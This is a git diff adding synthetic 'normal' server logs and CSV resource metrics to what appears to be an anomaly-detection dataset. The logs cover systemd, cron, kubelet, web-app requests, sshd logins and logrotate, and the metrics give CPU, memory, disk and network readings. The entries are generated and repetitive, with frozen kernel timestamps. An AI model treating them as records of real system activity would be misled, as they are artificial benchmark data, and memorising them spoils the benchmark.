+1,186 @@ +Aug 22 14:00:00 systemd[1]: Starting daily clean up activities... +Aug 22 14:00:02 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 22 14:00:04 web-app[1234]: GET /api/v1/user/34 status=200 OK +Aug 22 14:00:05 CRON[4567]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 14:00:06 web-app[1234]: GET /api/v1/user/34 status=200 OK +Aug 22 14:00:08 web-app[1234]: GET /api/v1/user/34 status=200 OK +Aug 22 14:00:09 CRON[4567]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 14:00:10 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 22 14:00:14 web-app[1234]: POST /api/v1/login status=200 OK +Aug 22 14:00:19 CRON[4567]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 14:00:21 systemd[1]: Starting daily clean up activities... +Aug 22 14:00:24 systemd[1]: Starting daily clean up activities... +Aug 22 14:00:25 systemd[1]: Starting daily clean up activities... +Aug 22 14:00:32 systemd[1]: Starting daily clean up activities... +Aug 22 14:00:33 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 22 14:00:33 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 22 14:00:37 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 22 14:00:42 web-app[1234]: GET /api/v1/user/34 status=200 OK +Aug 22 14:00:45 systemd[1]: Starting daily clean up activities... +Aug 22 14:00:45 web-app[1234]: GET /api/v1/user/34 status=200 OK +Aug 22 14:00:47 web-app[1234]: POST /api/v1/login status=200 OK +Aug 22 14:00:48 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 22 14:00:50 systemd[1]: Starting daily clean up activities... +Aug 22 14:00:51 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Aug 22 14:00:55 systemd[1]: Starting daily clean up activities... +Aug 22 14:00:57 CRON[4567]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 14:00:57 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 22 14:01:00 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 22 14:01:02 web-app[1234]: GET /api/v1/user/34 status=200 OK +Aug 22 14:01:05 CRON[4567]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 14:01:05 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 22 14:01:09 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 22 14:01:10 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Aug 22 14:01:12 web-app[1234]: POST /api/v1/login status=200 OK +Aug 22 14:01:16 web-app[1234]: POST /api/v1/login status=200 OK +Aug 22 14:01:18 systemd[1]: Starting daily clean up activities... +Aug 22 14:01:20 web-app[1234]: GET /api/v1/user/34 status=200 OK +Aug 22 14:01:24 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 22 14:01:27 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 22 14:01:28 web-app[1234]: POST /api/v1/login status=200 OK +Aug 22 14:01:30 systemd[1]: Starting daily clean up activities... +Aug 22 14:01:30 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 22 14:01:34 web-app[1234]: POST /api/v1/login status=200 OK +Aug 22 14:01:37 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 22 14:01:37 web-app[1234]: POST /api/v1/login status=200 OK +Aug 22 14:01:40 CRON[4567]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 14:01:42 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 22 14:01:42 web-app[1234]: GET /api/v1/user/34 status=200 OK +Aug 22 14:01:44 web-app[1234]: POST /api/v1/login status=200 OK +Aug 22 14:01:49 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 22 14:01:51 web-app[1234]: GET /api/v1/user/34 status=200 OK +Aug 22 14:01:52 systemd[1]: Starting daily clean up activities... +Aug 22 14:01:54 CRON[4567]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 14:02:00 web-app[1234]: GET /api/v1/user/34 status=200 OK +Aug 22 14:02:01 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 22 14:02:04 web-app[1234]: POST /api/v1/login status=200 OK +Aug 22 14:02:07 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 22 14:02:10 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 22 14:02:11 web-app[1234]: POST /api/v1/login status=200 OK +Aug 22 14:02:16 CRON[4567]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 14:02:16 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 22 14:02:17 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Aug 22 14:02:18 systemd[1]: Starting daily clean up activities... +Aug 22 14:02:23 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Aug 22 14:02:23 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 22 14:02:29 web-app[1234]: POST /api/v1/login status=200 OK +Aug 22 14:02:31 web-app[1234]: POST /api/v1/login status=200 OK +Aug 22 14:02:32 web-app[1234]: GET /api/v1/user/34 status=200 OK +Aug 22 14:02:35 web-app[1234]: POST /api/v1/login status=200 OK +Aug 22 14:02:38 systemd[1]: Starting daily clean up activities... +Aug 22 14:02:39 CRON[4567]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 14:02:40 web-app[1234]: POST /api/v1/login status=200 OK +Aug 22 14:02:43 CRON[4567]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 14:02:45 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 22 14:02:47 CRON[4567]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 14:02:48 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Aug 22 14:02:48 web-app[1234]: POST /api/v1/login status=200 OK +Aug 22 14:02:49 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Aug 22 14:02:55 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 22 14:02:59 CRON[4567]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 14:03:01 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 22 14:03:02 CRON[4567]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 14:03:04 systemd[1]: Starting daily clean up activities... +Aug 22 14:03:05 CRON[4567]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 14:03:06 web-app[1234]: POST /api/v1/login status=200 OK +Aug 22 14:03:11 CRON[4567]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 14:03:13 systemd[1]: Starting daily clean up activities... +Aug 22 14:03:20 systemd[1]: Starting log rotation... +Aug 22 14:03:22 CRON[8899]: (root) CMD (test -x /usr/sbin/logrotate && /usr/sbin/logrotate /etc/logrotate.conf) +Aug 22 14:03:25 logrotate[8900]: rotating pattern: /var/log/nginx/*.log weekly (4 rotations) +Aug 22 14:03:30 logrotate[8900]: emptying /var/log/nginx/access.log +Aug 22 14:03:30 logrotate[8900]: renaming /var/log/nginx/access.log to /var/log/nginx/access.log.1 +Aug 22 14:03:35 logrotate[8900]: compressing /var/log/nginx/access.log.1 +Aug 22 14:03:35 logrotate[8900]: creating new /var/log/nginx/access.log mode = 0640 user = www-data group = adm +Aug 22 14:03:39 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 22 14:03:39 web-app[1234]: POST /api/v1/login status=200 OK +Aug 22 14:03:40 systemd[1]: logrotate.service: Succeeded. +Aug 22 14:03:42 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 22 14:03:44 CRON[4567]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 14:03:48 CRON[4567]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 14:03:48 systemd[1]: Starting daily clean up activities... +Aug 22 14:03:54 systemd[1]: Starting daily clean up activities... +Aug 22 14:03:55 systemd[1]: Starting daily clean up activities... +Aug 22 14:03:56 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 22 14:03:58 CRON[4567]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 14:04:00 systemd[1]: Starting daily clean up activities... +Aug 22 14:04:05 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Aug 22 14:04:06 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 22 14:04:06 web-app[1234]: GET /api/v1/user/34 status=200 OK +Aug 22 14:04:12 CRON[4567]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 14:04:16 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 22 14:04:18 web-app[1234]: POST /api/v1/login status=200 OK +Aug 22 14:04:19 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 22 14:04:20 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 22 14:04:23 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Aug 22 14:04:28 systemd[1]: Starting daily clean up activities... +Aug 22 14:04:37 web-app[1234]: GET /api/v1/user/34 status=200 OK +Aug 22 14:04:40 CRON[4567]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 14:04:42 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Aug 22 14:04:46 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Aug 22 14:04:46 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 22 14:04:47 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 22 14:04:49 web-app[1234]: GET /api/v1/user/34 status=200 OK +Aug 22 14:04:53 CRON[4567]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 14:04:54 web-app[1234]: GET /api/v1/user/34 status=200 OK +Aug 22 14:04:56 CRON[4567]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 14:05:02 CRON[4567]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 14:05:04 web-app[1234]: GET /api/v1/user/34 status=200 OK +Aug 22 14:05:10 systemd[1]: Starting daily clean up activities... +Aug 22 14:05:10 systemd[1]: Starting daily clean up activities... +Aug 22 14:05:11 CRON[4567]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 14:05:17 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Aug 22 14:05:20 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Aug 22 14:05:20 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 22 14:05:24 CRON[4567]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 14:05:25 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 22 14:05:26 web-app[1234]: GET /api/v1/user/34 status=200 OK +Aug 22 14:05:29 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 22 14:05:30 CRON[4567]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 14:05:33 web-app[1234]: POST /api/v1/login status=200 OK +Aug 22 14:05:38 web-app[1234]: GET /api/v1/user/34 status=200 OK +Aug 22 14:05:41 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Aug 22 14:05:41 web-app[1234]: GET /api/v1/user/34 status=200 OK +Aug 22 14:05:44 systemd[1]: Starting daily clean up activities... +Aug 22 14:05:48 CRON[4567]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 14:05:49 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Aug 22 14:05:51 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Aug 22 14:05:53 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 22 14:05:59 systemd[1]: Starting daily clean up activities... +Aug 22 14:06:04 systemd[1]: Starting daily clean up activities... +Aug 22 14:06:10 web-app[1234]: GET /api/v1/user/34 status=200 OK +Aug 22 14:06:13 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Aug 22 14:06:14 systemd[1]: Starting daily clean up activities... +Aug 22 14:06:15 CRON[4567]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 14:06:18 systemd[1]: Starting daily clean up activities... +Aug 22 14:06:22 CRON[4567]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 14:06:22 web-app[1234]: GET /api/v1/user/34 status=200 OK +Aug 22 14:06:23 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Aug 22 14:06:26 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 22 14:06:27 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 22 14:06:29 systemd[1]: Starting daily clean up activities... +Aug 22 14:06:31 CRON[4567]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 14:06:34 CRON[4567]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 14:06:37 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Aug 22 14:06:39 web-app[1234]: GET /api/v1/user/34 status=200 OK +Aug 22 14:06:42 CRON[4567]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 14:06:42 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 22 14:06:44 systemd[1]: Starting daily clean up activities... +Aug 22 14:06:51 systemd[1]: Starting daily clean up activities... +Aug 22 14:06:51 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 22 14:06:53 systemd[1]: Starting daily clean up activities... +Aug 22 14:06:55 systemd[1]: Starting daily clean up activities... +Aug 22 14:06:56 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 22 14:06:59 systemd[1]: Starting daily clean up activities... +Aug 22 14:07:02 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Aug 22 14:07:02 web-app[1234]: GET /api/v1/user/34 status=200 OK +Aug 22 14:07:05 CRON[4567]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 14:07:07 systemd[1]: Starting daily clean up activities... +Aug 22 14:07:11 kubelet[2345]: INFO Liveness probe succeeded for pod nginx-deployment +Aug 22 14:07:12 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 22 14:07:14 web-app[1234]: GET /api/v1/user/34 status=200 OK +Aug 22 14:07:16 web-app[1234]: GET /api/v1/user/12 status=200 OK +Aug 22 14:07:17 web-app[1234]: GET /api/v1/user/34 status=200 OK +Aug 22 14:07:18 CRON[4567]: (root) CMD (run-parts --report /etc/cron.hourly) +Aug 22 14:07:20 systemd[1]: Starting daily clean up activities... +Aug 22 14:07:26 web-app[1234]: GET /api/v1/user/12 status=200 OK diff --git a/norm_dataset/scenario_2/norm_2_42.csv b/norm_dataset/scenario_2/norm_2_42.csv new file mode 100644 index 0000000000000000000000000000000000000000..59aa437b95b998477b5817f8e15daea3afbfe5ea --- /dev/null +++ b/norm_dataset/scenario_2/norm_2_42.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-22T10:00:00Z,18.41077432917316,42.05237063256064,35.75378961262703,1.4638877893171085,1.1863084278850002 +2025-08-22T10:00:05Z,13.88995030813352,35.869581543752595,20.303522422300965,1.4393055234689913,0.765447106145757 +2025-08-22T10:00:10Z,17.28954211328134,36.081547654084176,22.19465017973128,1.1851785641940253,1.1996556276380441 +2025-08-22T10:00:15Z,14.592314796434048,41.87572611201737,37.67038539846648,1.2660286094950557,1.2614777429388184 +2025-08-22T10:00:20Z,16.46240885216929,40.85911132226707,27.766205671529697,0.9445856844305258,1.1057262908578984 +2025-08-22T10:00:25Z,18.555787746781267,38.82745374863305,32.500044959989765,0.8209267791699034,1.3599714592821042 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+2025-08-22T10:07:10Z,19.026601232309314,39.876839416886156,24.02618150209945,1.142761881391627,1.3106369411944794 +2025-08-22T10:07:15Z,15.251058356527132,37.54570507009774,23.210023653248946,1.3717576353750536,0.8063751213345434 +2025-08-22T10:07:20Z,13.820104179029727,36.74835628199545,23.090791684456164,0.8932557945502589,1.013282824406298 +2025-08-22T10:07:25Z,13.556100731689716,41.61895353548945,36.81743032449498,1.4511965059848073,1.0579840407511762 diff --git a/norm_dataset/scenario_2/norm_2_42.log b/norm_dataset/scenario_2/norm_2_42.log new file mode 100644 index 0000000000000000000000000000000000000000..65a0a68503424e3369fb540599f878e10b599393 --- /dev/null +++ b/norm_dataset/scenario_2/norm_2_42.log @@ -0,0 +1,90 @@ +Aug 22 10:00:00 systemd[1]: Starting daily user cleanup... +Aug 22 10:00:05 kernel: [12345.678] audit: type=1334 audit(1692698400.123:45): prog-id=10 op=LOAD +Aug 22 10:00:10 kernel: [12345.678] audit: type=1334 audit(1692698400.123:45): prog-id=10 op=LOAD +Aug 22 10:00:15 kernel: [12345.678] audit: type=1334 audit(1692698400.123:45): prog-id=10 op=LOAD +Aug 22 10:00:20 kernel: [12345.678] audit: type=1334 audit(1692698400.123:45): prog-id=10 op=LOAD +Aug 22 10:00:25 kernel: [12345.678] audit: type=1334 audit(1692698400.123:45): prog-id=10 op=LOAD +Aug 22 10:00:30 kernel: [12345.678] audit: type=1334 audit(1692698400.123:45): prog-id=10 op=LOAD +Aug 22 10:00:35 web-app[1234]: GET /api/v1/health status=200 OK +Aug 22 10:00:40 kernel: [12345.678] audit: type=1334 audit(1692698400.123:45): prog-id=10 op=LOAD +Aug 22 10:00:45 kernel: [12345.678] audit: type=1334 audit(1692698400.123:45): prog-id=10 op=LOAD +Aug 22 10:00:50 kernel: [12345.678] audit: type=1334 audit(1692698400.123:45): prog-id=10 op=LOAD +Aug 22 10:00:55 kernel: [12345.678] audit: type=1334 audit(1692698400.123:45): prog-id=10 op=LOAD +Aug 22 10:01:00 kernel: [12345.678] audit: type=1334 audit(1692698400.123:45): prog-id=10 op=LOAD +Aug 22 10:01:05 kernel: [12345.678] audit: type=1334 audit(1692698400.123:45): prog-id=10 op=LOAD +Aug 22 10:01:10 web-app[1234]: GET /api/v1/health status=200 OK +Aug 22 10:01:15 systemd[1]: Starting daily user cleanup... +Aug 22 10:01:20 kernel: [12345.678] audit: type=1334 audit(1692698400.123:45): prog-id=10 op=LOAD +Aug 22 10:01:25 kernel: [12345.678] audit: type=1334 audit(1692698400.123:45): prog-id=10 op=LOAD +Aug 22 10:01:30 kernel: [12345.678] audit: type=1334 audit(1692698400.123:45): prog-id=10 op=LOAD +Aug 22 10:01:35 kernel: [12345.678] audit: type=1334 audit(1692698400.123:45): prog-id=10 op=LOAD +Aug 22 10:01:40 kernel: [12345.678] audit: type=1334 audit(1692698400.123:45): prog-id=10 op=LOAD +Aug 22 10:01:45 web-app[1234]: GET /api/v1/health status=200 OK +Aug 22 10:01:50 kernel: [12345.678] audit: type=1334 audit(1692698400.123:45): prog-id=10 op=LOAD +Aug 22 10:01:55 kernel: [12345.678] audit: type=1334 audit(1692698400.123:45): prog-id=10 op=LOAD +Aug 22 10:02:00 kernel: [12345.678] audit: type=1334 audit(1692698400.123:45): prog-id=10 op=LOAD +Aug 22 10:02:05 kernel: [12345.678] audit: type=1334 audit(1692698400.123:45): prog-id=10 op=LOAD +Aug 22 10:02:10 kernel: [12345.678] audit: type=1334 audit(1692698400.123:45): prog-id=10 op=LOAD +Aug 22 10:02:15 kernel: [12345.678] audit: type=1334 audit(1692698400.123:45): prog-id=10 op=LOAD +Aug 22 10:02:20 web-app[1234]: GET /api/v1/health status=200 OK +Aug 22 10:02:25 kernel: [12345.678] audit: type=1334 audit(1692698400.123:45): prog-id=10 op=LOAD +Aug 22 10:02:30 systemd[1]: Starting daily user cleanup... +Aug 22 10:02:35 kernel: [12345.678] audit: type=1334 audit(1692698400.123:45): prog-id=10 op=LOAD +Aug 22 10:02:40 kernel: [12345.678] audit: type=1334 audit(1692698400.123:45): prog-id=10 op=LOAD +Aug 22 10:02:45 kernel: [12345.678] audit: type=1334 audit(1692698400.123:45): prog-id=10 op=LOAD +Aug 22 10:02:50 kernel: [12345.678] audit: type=1334 audit(1692698400.123:45): prog-id=10 op=LOAD +Aug 22 10:02:55 web-app[1234]: GET /api/v1/health status=200 OK +Aug 22 10:03:00 kernel: [12345.678] audit: type=1334 audit(1692698400.123:45): prog-id=10 op=LOAD +Aug 22 10:03:05 kernel: [12345.678] audit: type=1334 audit(1692698400.123:45): prog-id=10 op=LOAD +Aug 22 10:03:10 kernel: [12345.678] audit: type=1334 audit(1692698400.123:45): prog-id=10 op=LOAD +Aug 22 10:03:15 kernel: [12345.678] audit: type=1334 audit(1692698400.123:45): prog-id=10 op=LOAD +Aug 22 10:03:20 kernel: [12345.678] audit: type=1334 audit(1692698400.123:45): prog-id=10 op=LOAD +Aug 22 10:03:25 kernel: [12345.678] audit: type=1334 audit(1692698400.123:45): prog-id=10 op=LOAD +Aug 22 10:03:30 web-app[1234]: GET /api/v1/health status=200 OK +Aug 22 10:03:35 kernel: [12345.678] audit: type=1334 audit(1692698400.123:45): prog-id=10 op=LOAD +Aug 22 10:03:40 kernel: [12345.678] audit: type=1334 audit(1692698400.123:45): prog-id=10 op=LOAD +Aug 22 10:03:45 CRON[8899]: (root) CMD (run-parts /etc/cron.daily) +Aug 22 10:03:50 systemd[1]: Starting Log Rotation... +Aug 22 10:03:55 logrotate[9001]: Compressing /var/log/syslog +Aug 22 10:04:00 logrotate[9001]: Archiving /var/log/web-app.log +Aug 22 10:04:05 systemd[1]: logrotate.service: Succeeded. +Aug 22 10:04:10 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 22 10:04:15 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 22 10:04:20 systemd[1]: Finished Daily apt download activities. +Aug 22 10:04:25 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 22 10:04:30 web-app[1234]: GET /api/v1/metrics status=200 OK +Aug 22 10:04:35 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 22 10:04:40 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 22 10:04:45 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 22 10:04:50 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 22 10:04:55 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 22 10:05:00 web-app[1234]: GET /api/v1/metrics status=200 OK +Aug 22 10:05:05 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 22 10:05:10 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 22 10:05:15 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 22 10:05:20 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 22 10:05:25 systemd[1]: Finished Daily apt download activities. +Aug 22 10:05:30 web-app[1234]: GET /api/v1/metrics status=200 OK +Aug 22 10:05:35 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 22 10:05:40 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 22 10:05:45 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 22 10:05:50 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 22 10:05:55 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 22 10:06:00 web-app[1234]: GET /api/v1/metrics status=200 OK +Aug 22 10:06:05 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 22 10:06:10 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 22 10:06:15 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 22 10:06:20 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 22 10:06:25 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 22 10:06:30 systemd[1]: Finished Daily apt download activities. +Aug 22 10:06:35 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 22 10:06:40 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 22 10:06:45 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 22 10:06:50 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 22 10:06:55 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 22 10:07:00 web-app[1234]: GET /api/v1/metrics status=200 OK +Aug 22 10:07:05 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 22 10:07:10 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 22 10:07:15 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 22 10:07:20 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 22 10:07:25 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod diff --git a/norm_dataset/scenario_2/norm_2_43.csv b/norm_dataset/scenario_2/norm_2_43.csv new file mode 100644 index 0000000000000000000000000000000000000000..00dc3fd754a6b1d9b7eb2f35f6be8af73e1d58cc --- /dev/null +++ b/norm_dataset/scenario_2/norm_2_43.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-22T10:00:00Z,19.351063914399575,35.042528331886714,30.781047189898874,1.108804610505091,1.2310768341155287 +2025-08-22T10:00:05Z,12.226013309173947,38.741466330477124,22.210213396622972,1.1705451196077867,1.0860154429187232 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b/norm_dataset/scenario_2/norm_2_43.log new file mode 100644 index 0000000000000000000000000000000000000000..fd0f1b8e30c498853f7af0c1dd40b724d6f20722 --- /dev/null +++ b/norm_dataset/scenario_2/norm_2_43.log @@ -0,0 +1,69 @@ +Aug 22 10:00:00 web-app[28351]: GET /api/v1/status status=200 OK +Aug 22 10:00:05 kernel: [18273.134] TCP: request_sock_TCP: Dropping request since memory is low +Aug 22 10:00:10 sshd[31045]: Accepted publickey for user admin from 192.168.1.10 port 54321 ssh2: RSA SHA256:... +Aug 22 10:00:25 web-app[28351]: GET /api/v1/status status=200 OK +Aug 22 10:00:30 sshd[31045]: Accepted publickey for user admin from 192.168.1.10 port 54321 ssh2: RSA SHA256:... +Aug 22 10:00:35 web-app[28351]: POST /api/v1/login status=200 OK +Aug 22 10:00:40 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 22 10:00:55 sshd[31045]: Accepted publickey for user admin from 192.168.1.10 port 54321 ssh2: RSA SHA256:... +Aug 22 10:01:00 web-app[28351]: POST /api/v1/login status=200 OK +Aug 22 10:01:05 sshd[31045]: Accepted publickey for user admin from 192.168.1.10 port 54321 ssh2: RSA SHA256:... +Aug 22 10:01:10 web-app[28351]: POST /api/v1/login status=200 OK +Aug 22 10:01:15 sshd[31045]: Accepted publickey for user admin from 192.168.1.10 port 54321 ssh2: RSA SHA256:... +Aug 22 10:01:20 web-app[28351]: GET /api/v1/user/34 status=200 OK +Aug 22 10:01:25 kernel: [18273.134] TCP: request_sock_TCP: Dropping request since memory is low +Aug 22 10:01:30 sshd[31045]: Accepted publickey for user admin from 192.168.1.10 port 54321 ssh2: RSA SHA256:... +Aug 22 10:01:40 sshd[31045]: Accepted publickey for user admin from 192.168.1.10 port 54321 ssh2: RSA SHA256:... +Aug 22 10:01:45 systemd[1]: Starting daily network connection check... +Aug 22 10:02:05 web-app[28351]: GET /api/v1/user/34 status=200 OK +Aug 22 10:02:20 web-app[28351]: POST /api/v1/login status=200 OK +Aug 22 10:02:25 systemd[1]: Starting daily network connection check... +Aug 22 10:02:30 web-app[28351]: GET /api/v1/user/34 status=200 OK +Aug 22 10:02:35 web-app[28351]: GET /api/v1/user/34 status=200 OK +Aug 22 10:02:45 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 22 10:02:50 CRON[4521]: (root) CMD (run-parts /etc/cron.daily) +Aug 22 10:02:50 systemd[1]: Starting daily network connection check... +Aug 22 10:02:55 sshd[31045]: Accepted publickey for user admin from 192.168.1.10 port 54321 ssh2: RSA SHA256:... +Aug 22 10:03:00 sshd[31045]: Accepted publickey for user admin from 192.168.1.10 port 54321 ssh2: RSA SHA256:... +Aug 22 10:03:00 systemd[1]: Starting Log Rotation... +Aug 22 10:03:00 web-app[28351]: GET /api/v1/health status=200 OK +Aug 22 10:03:05 kernel: [18453.831] EXT4-fs (sda1): mounted filesystem with ordered data mode. Opts: (null) +Aug 22 10:03:05 sshd[31045]: Accepted publickey for user admin from 192.168.1.10 port 54321 ssh2: RSA SHA256:... +Aug 22 10:03:10 web-app[28351]: GET /api/v1/user/34 status=200 OK +Aug 22 10:03:15 sshd[31045]: Accepted publickey for user admin from 192.168.1.10 port 54321 ssh2: RSA SHA256:... +Aug 22 10:03:20 systemd[1]: Starting daily network connection check... +Aug 22 10:03:20 systemd[1]: logrotate.service: Succeeded. +Aug 22 10:03:25 web-app[28351]: GET /api/v1/status status=200 OK +Aug 22 10:03:30 sshd[31045]: Accepted publickey for user admin from 192.168.1.10 port 54321 ssh2: RSA SHA256:... +Aug 22 10:03:45 sshd[31045]: Accepted publickey for user admin from 192.168.1.10 port 54321 ssh2: RSA SHA256:... +Aug 22 10:03:50 web-app[28351]: POST /api/v1/login status=200 OK +Aug 22 10:03:55 kernel: [18273.134] TCP: request_sock_TCP: Dropping request since memory is low +Aug 22 10:04:05 web-app[28351]: GET /api/v1/user/34 status=200 OK +Aug 22 10:04:15 kernel: [18273.134] TCP: request_sock_TCP: Dropping request since memory is low +Aug 22 10:04:20 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 22 10:04:25 web-app[28351]: GET /api/v1/status status=200 OK +Aug 22 10:04:30 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 22 10:04:35 kubelet[2345]: INFO Liveness probe succeeded for pod web-app-pod +Aug 22 10:04:40 sshd[31045]: Accepted publickey for user admin from 192.168.1.10 port 54321 ssh2: RSA SHA256:... +Aug 22 10:04:45 web-app[28351]: GET 